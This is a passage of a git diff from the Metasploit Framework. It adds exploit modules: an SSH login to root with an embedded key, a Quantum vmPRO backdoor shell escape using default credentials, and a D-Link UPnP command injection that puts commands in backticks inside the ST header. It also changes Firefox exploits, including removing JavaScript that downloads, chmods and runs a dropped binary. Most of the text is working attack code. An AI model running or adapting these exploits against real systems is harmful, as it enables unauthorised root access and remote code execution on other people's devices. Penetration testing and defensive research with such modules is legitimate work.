}, + 'DefaultTarget' => 0 + })) + + register_options( + [ + # Since we don't include Tcp, we have to register this manually + Opt::RHOST(), + Opt::RPORT(22) + ], self.class + ) + + register_advanced_options( + [ + OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) + ] + ) + + end + + # helper methods that normally come from Tcp + def rhost + datastore['RHOST'] + end + def rport + datastore['RPORT'] + end + + def do_login(user) + opt_hash = { + :auth_methods => ['publickey'], + :msframework => framework, + :msfmodule => self, + :port => rport, + :key_data => [ key_data ], + :disable_agent => true, + :config => false, + :record_auth_info => true, + :proxies => datastore['Proxies'] + } + opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + begin + ssh_socket = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + ssh_socket = Net::SSH.start(rhost, user, opt_hash) + end + rescue Rex::ConnectionError + return nil + rescue Net::SSH::Disconnect, ::EOFError + print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" + return nil + rescue ::Timeout::Error + print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" + return nil + rescue Net::SSH::AuthenticationFailed + print_error "#{rhost}:#{rport} SSH - Failed authentication" + return nil + rescue Net::SSH::Exception => e + print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" + return nil + end + + if ssh_socket + + # Create a new session from the socket, then dump it. + conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash', true) + ssh_socket = nil + + return conn + else + return nil + end + end + + def exploit + conn = do_login("root") + if conn + print_good "#{rhost}:#{rport} - Successful login" + handler(conn.lsock) + end + end + + def key_data + < "Quantum vmPRO Backdoor Command", + 'Description' => %q{ + This module abuses a backdoor command in Quantum vmPRO. Any user, even one without admin + privileges, can get access to the restricted SSH shell. By using the hidden backdoor + "shell-escape" command it's possible to drop to a real root bash shell. This module + has been tested successfully on Quantum vmPRO 3.1.2. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'xistence ' # Original discovery and Metasploit module + ], + 'References' => + [ + ['URL', 'http://packetstormsecurity.com/files/125760/quantumvmpro-backdoor.txt'] + ], + 'DefaultOptions' => + { + 'ExitFunction' => "none" + }, + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find' + } + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['Quantum vmPRO 3.1.2', {}], + ], + 'Privileged' => true, + 'DisclosureDate' => "Mar 17 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(22), + OptString.new('USER', [ true, 'vmPRO SSH user', 'sysadmin']), + OptString.new('PASS', [ true, 'vmPRO SSH password', 'sysadmin']) + ], self.class + ) + + register_advanced_options( + [ + OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) + ] + ) + end + + + def rhost + datastore['RHOST'] + end + + + def rport + datastore['RPORT'] + end + + + def do_login(user, pass) + opts = { + :auth_methods => ['password', 'keyboard-interactive'], + :msframework => framework, + :msfmodule => self, + :port => rport, + :disable_agent => true, + :config => true, + :password => pass, + :record_auth_info => true, + :proxies => datastore['Proxies'] + } + + opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + + begin + ssh = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + ssh = Net::SSH.start(rhost, user, opts) + end + rescue Rex::ConnectionError + return nil + rescue Net::SSH::Disconnect, ::EOFError + print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" + return nil + rescue ::Timeout::Error + print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" + return nil + rescue Net::SSH::AuthenticationFailed + print_error "#{rhost}:#{rport} SSH - Failed authentication" + return nil + rescue Net::SSH::Exception => e + print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" + return nil + end + + if ssh + conn = Net::SSH::CommandStream.new(ssh, 'shell-escape', true) + return conn + end + + return nil + end + + + def exploit + user = datastore['USER'] + pass = datastore['PASS'] + + print_status("#{rhost}:#{rport} - Attempt to login...") + conn = do_login(user, pass) + if conn + print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'") + handler(conn.lsock) + end + end +end diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb index 42028df550..96f568d23b 100644 --- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb +++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(rhost, user, opts) end - rescue Rex::ConnectionError, Rex::AddressInUse + rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" @@ -139,4 +139,4 @@ class Metasploit3 < Msf::Exploit::Remote handler(conn.lsock) end end -end \ No newline at end of file +end diff --git a/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb b/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb index 82065cbcfc..1665ae8b2d 100644 --- a/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb +++ b/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb new file mode 100644 index 0000000000..eacb27174a --- /dev/null +++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Unauthenticated UPnP M-SEARCH Multicast Command Injection', + 'Description' => %q{ + Different D-Link Routers are vulnerable to OS command injection via UPnP Multicast + requests. This module has been tested on DIR-300 and DIR-645 devices. Zachary Cutlip + has initially reported the DIR-815 vulnerable. Probably there are other devices also + affected. + }, + 'Author' => + [ + 'Zachary Cutlip', # Vulnerability discovery and initial exploit + 'Michael Messner ' # Metasploit module and verification on other routers + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], # original exploit + ['URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'] # original exploit + ], + 'DisclosureDate' => 'Feb 01 2013', + 'Privileged' => true, + 'Targets' => + [ + [ 'MIPS Little Endian', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'MIPS Big Endian', # unknown if there are big endian devices out there + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS + } + ] + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(1900) + ], self.class) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + configure_socket + + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:upnp:rootdevice\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:2\r\n\r\n" + + udp_sock.sendto(pkt, rhost, rport, 0) + + res = nil + 1.upto(5) do + res,_,_ = udp_sock.recvfrom(65535, 1.0) + break if res and res =~ /SERVER:\ Linux,\ UPnP\/1\.0,\ DIR-...\ Ver/mi + udp_sock.sendto(pkt, rhost, rport, 0) + end + + # UPnP response: + # [*] 192.168.0.2:1900 SSDP Linux, UPnP/1.0, DIR-645 Ver 1.03 | http://192.168.0.2:49152/InternetGatewayDevice.xml | uuid:D02411C0-B070-6009-39C5-9094E4B34FD1::urn:schemas-upnp-org:device:InternetGatewayDevice:1 + # we do not check for the Device ID (DIR-645) and for the firmware version because there are different + # dlink devices out there and we do not know all the vulnerable versions + + if res && res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Unknown + end + + def execute_command(cmd, opts) + configure_socket + + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:uuid:`#{cmd}`\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:2\r\n\r\n" + + udp_sock.sendto(pkt, rhost, rport, 0) + end + + def exploit + print_status("#{peer} - Trying to access the device via UPnP ...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :flavor => :echo, + :linemax => 950 + ) + end + + # the packet stuff was taken from the module miniupnpd_soap_bof.rb + # We need an unconnected socket because SSDP replies often come + # from a different sent port than the one we sent to. This also + # breaks the standard UDP mixin. + def configure_socket + self.udp_sock = Rex::Socket::Udp.create({ + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + }) + add_socket(self.udp_sock) + end + + # Need to define our own rhost/rport/peer since we aren't + # using the normal mixins + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + def peer + "#{rhost}:#{rport}" + end + + # Accessor for our UDP socket + attr_accessor :udp_sock + +end diff --git a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb index 5154798869..aa0efe74c5 100644 --- a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb +++ b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/firefox_escape_retval.rb b/modules/exploits/multi/browser/firefox_escape_retval.rb index de67d612ef..55f244cdda 100644 --- a/modules/exploits/multi/browser/firefox_escape_retval.rb +++ b/modules/exploits/multi/browser/firefox_escape_retval.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_name => HttpClients::FF, # :ua_minver => "3.5", # :ua_maxver => "3.5", - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :javascript => true, # :rank => NormalRanking, # reliable memory corruption # :vuln_test => nil, diff --git a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb index 2b24b83cc1..253f4b1b31 100644 --- a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb +++ b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -79,21 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote "p2.constructor.defineProperty(obj,key,{get:runme});" end - %Q| - - - #{datastore['CONTENT']} - - diff --git a/modules/exploits/multi/browser/firefox_queryinterface.rb b/modules/exploits/multi/browser/firefox_queryinterface.rb index 62c91ce581..4511da4250 100644 --- a/modules/exploits/multi/browser/firefox_queryinterface.rb +++ b/modules/exploits/multi/browser/firefox_queryinterface.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb index 843e6430bf..75877228f2 100644 --- a/modules/exploits/multi/browser/firefox_svg_plugin.rb +++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,15 +10,16 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::EXE - include Msf::Exploit::Remote::BrowserAutopwn + # include Msf::Exploit::Remote::BrowserAutopwn + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation - autopwn_info({ - :ua_name => HttpClients::FF, - :ua_minver => "17.0", - :ua_maxver => "17.0.1", - :javascript => true, - :rank => NormalRanking - }) + # autopwn_info({ + # :ua_name => HttpClients::FF, + # :ua_minver => "17.0", + # :ua_maxver => "17.0.1", + # :javascript => true, + # :rank => NormalRanking + # }) def initialize(info = {}) super(update_info(info, @@ -40,35 +41,21 @@ class Metasploit3 < Msf::Exploit::Remote with script access should be able to trigger it. }, 'License' => MSF_LICENSE, - 'Platform' => %w{ linux osx win }, - 'Targets' => + 'Targets' => [ [ - [ 'Universal (Javascript XPCOM Shell)', - { - 'Platform' => 'firefox', - 'Arch' => ARCH_FIREFOX - } - ], - [ 'Windows x86 (Native Payload)', - { - 'Platform' => 'win', - 'Arch' => ARCH_X86 - } - ], - [ 'Linux x86 (Native Payload)', - { - 'Platform' => 'linux', - 'Arch' => ARCH_X86 - } - ], - [ 'Mac OS X x86 (Native Payload)', - { - 'Platform' => 'osx', - 'Arch' => ARCH_X86, - } - ] + 'Universal (Javascript XPCOM Shell)', { + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX + } ], - 'DefaultTarget' => 0, + [ + 'Native Payload', { + 'Platform' => %w{ java linux osx solaris win }, + 'Arch' => ARCH_ALL + } + ] + ], + 'DefaultTarget' => 0, 'Author' => [ 'Marius Mlynski', # discovery & bug report @@ -88,7 +75,8 @@ class Metasploit3 < Msf::Exploit::Remote 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, - :ua_ver => /17\..*/ + :ua_ver => /17\..*/, + :flash => /[\d.]+/ } )) @@ -100,74 +88,17 @@ class Metasploit3 < Msf::Exploit::Remote end - def on_request_uri(cli, request) - my_target = get_target(request.headers['User-Agent']) - if my_target.nil? - print_error("User agent does not match an available payload type, bailing.") - send_not_found(cli) - return - end - - target = my_target - + def on_request_exploit(cli, request, info) if request.uri =~ /\.swf$/ # send Flash .swf for navigating the frame to chrome:// print_status("Sending .swf trigger.") send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' }) - elsif request.uri =~ /\.bin/ - # send the binary payload to drop & exec - print_status("Child frame navigated. Sending binary payload to drop & execute.") - send_response(cli, dropped_file_contents(cli, target), { 'Content-Type' => 'application/octet-stream' }) else # send initial HTML page print_status("Target selected: #{target.name}") print_status("Sending #{self.name}") send_response_html(cli, generate_html(cli, target)) end - handler(cli) - end - - # @return [String] the encoded executable for dropping onto the client's machine - def dropped_file_contents(cli, target) - return if ((p=regenerate_payload(cli)) == nil) - opts = target.opts - exe = '' - - case target.name - when /windows/i - opts = opts.merge({:code=>p.encoded}) - exe = generate_payload_exe(opts) - when /linux/i - exe = Msf::Util::EXE.to_linux_x86_elf(framework, p.encoded, opts) - when /os x/i - exe = Msf::Util::EXE.to_osx_x86_macho(framework, p.encoded, opts) - end - - return exe - end - - # @return [Msf::Module::Target] that matches the client's user-agent header - def get_target(agent) - # Not firefox, bail - if agent !~ /firefox/i - return nil - end - - # User wants to manually specify a target, respect that - if target != targets[0] - return target - end - - # os detection - if agent =~ /windows/i - targets[1] - elsif agent =~ /linux/i - targets[2] - elsif agent =~ /macintosh/i and agent =~ /intel/i - targets[3] - else - nil - end end # @return [String] the contents of the .swf file used to trigger the exploit @@ -176,81 +107,18 @@ class Metasploit3 < Msf::Exploit::Remote @flash_trigger ||= File.read(swf_path) end - # @return [String] the filename that will be used when the payload is dropped - def payload_filename(target) - if target.name =~ /Windows x86/i - "#{Rex::Text.rand_text_alphanumeric(8)}.exe" - else - "#{Rex::Text.rand_text_alphanumeric(8)}.bin" - end - end - - # @return [String] containing javascript code to execute with chrome privileges - def js_payload(cli, target) - if self.target.name =~ /Javascript/ - regenerate_payload(cli).encoded - else - %Q| - #{js_debug("Injection successful. JS executing with chrome privileges.")} - var x = new XMLHttpRequest; - x.overrideMimeType('text/plain; charset=x-user-defined'); - x.open('POST', '#{base_url}.bin', false); - x.send(null); - #{js_debug("'Payload: '+x.responseText", "")} - var file = Components.classes["@mozilla.org/file/directory_service;1"] - .getService(Components.interfaces.nsIProperties) - .get("TmpD", Components.interfaces.nsIFile); - file.append('#{payload_filename(target)}'); - var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"] - .createInstance(Components.interfaces.nsIFileOutputStream); - stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0); - stream.write(x.responseText, x.responseText.length); - if (stream instanceof Components.interfaces.nsISafeOutputStream) { - stream.finish(); - } else { - stream.close(); - } - #{chmod_code(target)} - #{js_debug("'Downloaded to: '+file.path", "")} - var process = Components.classes["@mozilla.org/process/util;1"] - .createInstance(Components.interfaces.nsIProcess); - process.init(file); - process.run(false, [], 0); - | - end - end - # @return [String] containing javascript that will alert a debug string # if the DEBUG is set to true def js_debug(str, quote="'") if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end end - # @return [String] containing javascript that will chmod the dropped executable - def chmod_code(target) - return '' if target.name == 'Windows x86 (Native Payload)' - %Q| - var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); - chmod.initWithPath("/bin/chmod"); - var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); - process.init(chmod); - process.run(true, ["+x", file.path], 2); - | - end - - # @return [String] URL for sending requests back to the module - def base_url - proto = (datastore["SSL"] ? "https" : "http") - myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] - "#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}" - end - # @return [String] HTML that is sent in the first response to the client def generate_html(cli, target) vars = { :symbol_id => 'a', :random_domain => 'safe', - :payload => js_payload(cli, target), + :payload => run_payload, # defined in FirefoxPrivilegeEscalation mixin :payload_var => 'c', :payload_key => 'k', :payload_obj_var => 'payload_obj', @@ -258,27 +126,10 @@ class Metasploit3 < Msf::Exploit::Remote :access_string => 'access', :frame_ref => 'frames[0]', :frame_name => 'n', - :loader_path => "#{base_url}.swf", + :loader_path => "#{get_module_uri}.swf", :content => self.datastore['CONTENT'] || '' } - %Q| - - - - - - - - - - - - - - - - - '; + clearInterval(clear); + setTimeout(step3, 100); + }, 10); + } + + function step3() { + var clear = setInterval(function(){ + if (!frames[0]) return; // will throw until the frame is accessible + top.vvv.messageManager.loadFrameScript('data:,'+key, false); + clearInterval(clear); + setTimeout(function(){top.vvv.close();}, 100); + }, 10); + } + | + + %Q| + + + + + + #{datastore['CONTENT']} + + + | + end +end + diff --git a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb index 5fc3882cfb..2033a79df3 100644 --- a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb +++ b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/itms_overflow.rb b/modules/exploits/multi/browser/itms_overflow.rb index fe24f06002..9fe7bb5ea4 100644 --- a/modules/exploits/multi/browser/itms_overflow.rb +++ b/modules/exploits/multi/browser/itms_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote Because iTunes is multithreaded, only vfork-based payloads should be used. }, - 'Author' => [ 'Will Drewry ' ], + 'Author' => [ 'Will Drewry ' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/multi/browser/java_atomicreferencearray.rb b/modules/exploits/multi/browser/java_atomicreferencearray.rb index f9964b533d..5a214fe259 100644 --- a/modules/exploits/multi/browser/java_atomicreferencearray.rb +++ b/modules/exploits/multi/browser/java_atomicreferencearray.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -123,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("Sending java reverse shell") else port = datastore['LPORT'] - datastore['RHOST'] = cli.peerhost + host = cli.peerhost vprint_status( "Java bind shell" ) end if jar diff --git a/modules/exploits/multi/browser/java_calendar_deserialize.rb b/modules/exploits/multi/browser/java_calendar_deserialize.rb index fccc4c5086..bdb3566a42 100644 --- a/modules/exploits/multi/browser/java_calendar_deserialize.rb +++ b/modules/exploits/multi/browser/java_calendar_deserialize.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -119,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Payload will be a Java reverse shell") else port = datastore['LPORT'] - datastore['RHOST'] = cli.peerhost + host = cli.peerhost print_status("Payload will be a Java bind shell") end if jar diff --git a/modules/exploits/multi/browser/java_getsoundbank_bof.rb b/modules/exploits/multi/browser/java_getsoundbank_bof.rb index 6dfe3c506c..3a123768f2 100644 --- a/modules/exploits/multi/browser/java_getsoundbank_bof.rb +++ b/modules/exploits/multi/browser/java_getsoundbank_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_driver_manager.rb b/modules/exploits/multi/browser/java_jre17_driver_manager.rb index 604087237e..b832f9ea9b 100644 --- a/modules/exploits/multi/browser/java_jre17_driver_manager.rb +++ b/modules/exploits/multi/browser/java_jre17_driver_manager.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_exec.rb b/modules/exploits/multi/browser/java_jre17_exec.rb index 39c72b618a..9280d870ad 100644 --- a/modules/exploits/multi/browser/java_jre17_exec.rb +++ b/modules/exploits/multi/browser/java_jre17_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb index b1a75b031c..7c37c553a2 100644 --- a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb +++ b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_jaxws.rb b/modules/exploits/multi/browser/java_jre17_jaxws.rb index 2d7f1a1b30..4dfad212b6 100644 --- a/modules/exploits/multi/browser/java_jre17_jaxws.rb +++ b/modules/exploits/multi/browser/java_jre17_jaxws.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean.rb b/modules/exploits/multi/browser/java_jre17_jmxbean.rb index 357290e80e..597c3fdf2f 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb index 1539257b73..906d07867f 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_method_handle.rb b/modules/exploits/multi/browser/java_jre17_method_handle.rb index 4a1ea1d6eb..32f55c5613 100644 --- a/modules/exploits/multi/browser/java_jre17_method_handle.rb +++ b/modules/exploits/multi/browser/java_jre17_method_handle.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb b/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb index 2b9ec82c3e..9e4931f342 100644 --- a/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb +++ b/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_reflection_types.rb b/modules/exploits/multi/browser/java_jre17_reflection_types.rb index aebcc52cb3..9fa97d5e57 100644 --- a/modules/exploits/multi/browser/java_jre17_reflection_types.rb +++ b/modules/exploits/multi/browser/java_jre17_reflection_types.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_rhino.rb b/modules/exploits/multi/browser/java_rhino.rb index d2bdcb327b..c752549994 100644 --- a/modules/exploits/multi/browser/java_rhino.rb +++ b/modules/exploits/multi/browser/java_rhino.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_rmi_connection_impl.rb b/modules/exploits/multi/browser/java_rmi_connection_impl.rb index c7e3349acd..41a3705785 100644 --- a/modules/exploits/multi/browser/java_rmi_connection_impl.rb +++ b/modules/exploits/multi/browser/java_rmi_connection_impl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_setdifficm_bof.rb b/modules/exploits/multi/browser/java_setdifficm_bof.rb index ad850d2ac5..c392ee4558 100644 --- a/modules/exploits/multi/browser/java_setdifficm_bof.rb +++ b/modules/exploits/multi/browser/java_setdifficm_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb index 19459a4b2c..6f35eb21c4 100644 --- a/modules/exploits/multi/browser/java_signed_applet.rb +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_storeimagearray.rb b/modules/exploits/multi/browser/java_storeimagearray.rb index 6562ba8644..207e0d8c0d 100644 --- a/modules/exploits/multi/browser/java_storeimagearray.rb +++ b/modules/exploits/multi/browser/java_storeimagearray.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_trusted_chain.rb b/modules/exploits/multi/browser/java_trusted_chain.rb index 92aa70b88d..e2f4651f3e 100644 --- a/modules/exploits/multi/browser/java_trusted_chain.rb +++ b/modules/exploits/multi/browser/java_trusted_chain.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_verifier_field_access.rb b/modules/exploits/multi/browser/java_verifier_field_access.rb index e0c99d4975..69ec049d09 100644 --- a/modules/exploits/multi/browser/java_verifier_field_access.rb +++ b/modules/exploits/multi/browser/java_verifier_field_access.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# 